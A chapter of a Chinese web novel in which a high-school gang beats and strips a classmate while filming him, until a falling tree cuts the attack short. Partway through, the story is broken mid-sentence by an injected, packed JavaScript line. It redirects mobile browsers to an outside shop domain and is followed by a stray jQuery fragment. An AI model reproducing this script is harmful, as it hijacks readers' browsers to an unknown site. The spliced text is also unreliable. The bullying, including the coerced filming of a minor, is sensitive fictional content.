最终大课间的时候,是柳灼方自己一个人跑去放飞知了的。
严杉洺留在教室打扫卫生。
上一节课是数学,教书的是一个岁数很大的石头精,写字力气奇大无比,每次黑板擦下去都还要留一层印子。
严杉洺正埋头和黑板对抗,毛巾在黑板上留下水痕。黑板擦了一半,门口传来一阵笑声。
擦黑板的动作停了半晌,严杉洺没转头看来人,他闭着眼睛也知道是谁。
“大学霸,你现在派头越来越厉害了,还得等着我们上门请你啊。”一个剃了板寸满脸凶相的男生嘴上叼了根烟,倚在门框上看着严杉洺。
身后跟着的几个男生面无表情地站在他身后。
“今天是我值日。”严杉洺停下擦黑板的动作,说话的声音淡的像机器人。
门口的男生们发出嗤笑。
“值日?”板寸偏身指了两个男生,“你俩,去帮咱们大学霸把日值了。”
两个男生得令,喜笑颜开的走到严杉洺身前,“走吧大学霸,卫生我们俩帮你扫了,还不快点去谢谢飞哥。”
说着,两个男生推了一把严杉洺,把人弄到了板寸身边。
这个板寸,名字叫王德飞,学校里的人都管他叫飞哥,他也是个孤儿,不过和严杉洺不同,他从小在街头长大,加入了当地的小帮派,能偷不买,能抢不偷,听说连学费都是抢来的。
也说这个王德飞受大哥器重,每回进公安局都安排一个小弟顶罪,到了高二也才蹲过几回拘留所。
王德飞一把揽过严杉洺的肩膀,贴到他耳朵边吹气,“最近老子没找你,皮又痒了是不是?下次在仓库没准时见到你,把你扒光了扔你班同学里。”
严杉洺跟着几个人往外走,耳后冒出了虚汗,他被紧紧箍在王德飞胳膊下,仿佛真的哥俩好一般。
王德飞口中的仓库,是在食堂后面的一片空地上,堆的多是废弃物品,鲜少有人光临,于是就成了王德飞的基地。
仓库大门紧闭,王德飞推了一把严杉洺,“你先进。”
打开大门肯定会有东西,但严杉洺无法拒绝,只能缓缓伸手搭在把手上。
“快点儿。”王德飞不耐烦的声音响起。
严杉洺屏住呼吸,推开了大门。
几乎是同时,两桶冰凉的水迎面而来,水几乎是砸在脸上,针扎般的疼痛细细密密的传来。
“我去你的你俩个神经病,泼水你对准了啊,都他妈溅老子身上了!”王德飞先是一脚踹在严杉洺后背,又是进去给了拎着水桶的两人一人一个巴掌。
严杉洺被踹倒在地,双手撑着要爬起来,头上却落下一个手掌按住他。
“飞哥让你起来了吗?”
“诶诶,让他起来吧。”王德飞破天荒的开口阻拦他的小弟,“今天咱们大学霸可得上镜呢,别整的和垃圾堆里爬出来一样。”
上镜?严杉洺站起来,额头的刘海还在滴水,身上湿透了。
他抬头看向王德飞,不知道他口中的上镜是什么意思。
只见后者把烟扔到地上,从兜里掏出手机对准了他。
“快点的吧,把衣服脱了大学霸。”
当着摄像头脱衣服的事情,他牙咬碎了也干不出来。他看着王德飞,眼神里透露出拒绝的神色。
“妈的……”王德飞翻了个白眼,“你别给脸不要脸啊,今天老子不想揍你,乖乖把衣服脱了录个视频,皆大欢喜。”
谁和你皆大欢喜?严杉洺皱起眉头,“我不脱衣服。”
“啧,死书呆子我和你怎么说不通呢?”王德飞憋得一肚子火但还得忍住,“我老大,要见见你,这视频算见面礼,你要是能进我们老大
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735786|209050||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的眼,别说什么福利院了,美容院我们老大都给你包了!”
“还是说你挨揍没够,就想当猪啊。”王德飞让身边的小弟给自己重新点了根烟。
什么事落到眼前这帮人嘴里,似乎都能变换味道,什么老大、见面礼,都听得严杉洺恶心至极。
他盯着王德飞的脸,沉默良久,嘴唇微微一张吐出两个字,“恶心。”
几乎是立刻,王德飞的脾气彻底爆炸,他上步一记鞭腿落在严杉洺腰侧,重重的将人踢倒在地,“真他妈是给你脸了,你们几个,把他衣服给我扒了。”
他也顾不得老大的要求了,只要能给衣服脱了,结果是一样的他就交差了。
那一记鞭腿力量太重,严杉洺感觉自己的疼痛已经从肋骨传导到内脏了,他竭尽全力蜷缩起来,不让旁人在自己身上动手动脚。
但对面人多的力量,他靠两个胳膊怎么能抵抗,校服外套被人撤掉,T恤也快被扯坏。
王德飞笑着抽烟,举起手机录视频。
这里几乎沦为了严杉洺的地狱,伸过来的每一只手都让他作呕。
就在时间一秒一秒流逝,力气越来越透支之时,仓库外忽然传来树叶抖动的声响。
窸窣的摩擦声伴着巨大的咔嚓声,王德飞还在疑惑着是什么声音,但很快谜底就被揭晓了。
仓库背后的几颗老树,竟然凭空折了一根,粗壮的树冠和树干把年久未修的仓库压垮了半边。
瓦片房梁一个接一个发出牙酸的嚓嚓声,王德飞骂了一句,招呼几个小弟,“靠,这什么情况,快走快走,这破房子要塌了!”
几人一窝蜂的从大门挤出去,严杉洺同样害怕的抓起外套想往外走,但下一秒,他又停下了脚步。
倒塌的房顶露出砸倒它的凶手,那颗老槐树枝繁叶茂,为什么会突然塌掉呢?